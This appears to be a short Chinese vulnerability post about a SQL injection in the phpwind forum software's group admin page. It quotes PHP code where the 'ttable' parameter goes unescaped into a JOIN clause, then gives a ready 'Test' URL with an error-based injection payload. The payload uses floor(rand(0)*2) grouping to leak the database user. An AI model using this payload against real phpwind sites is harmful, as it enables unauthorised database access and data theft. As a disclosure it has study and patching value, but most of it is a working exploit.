phpwind注入一枚

/apps/group/admin/manage.php   line  219

 

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable
		.....
		if ($ttype == '1') {
			$sqltab = 'pw_threads t';
			$pw_tmsgs = 'pw_tmsgs' . $ttable; //!
			$tpre = 'tm';
			$addpage .= "ttable=$ttable&";
		} else {
			$sqltab = GetPtable($ptable) . ' t';
			$addpage .= "ttype=2&ptable=$ptable&";
		}
          ......
		if ($keyword) {
			$addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";
			if ($ckkeyword) {
				$k_sql = " = " . S::sqlEscape($keyword);
			} else {
				$k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');
			}
			if ($ktype == 'subject') {
				$sql .= " AND t.subject" . $k_sql;
			} else {
				$ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs
				$sql .= " AND {$tpre}.content" . $k_sql;
			}
		}

　　

 

Test:

/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN pw_argument a ON t.tid=a.tid LEFT JOIN pw_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23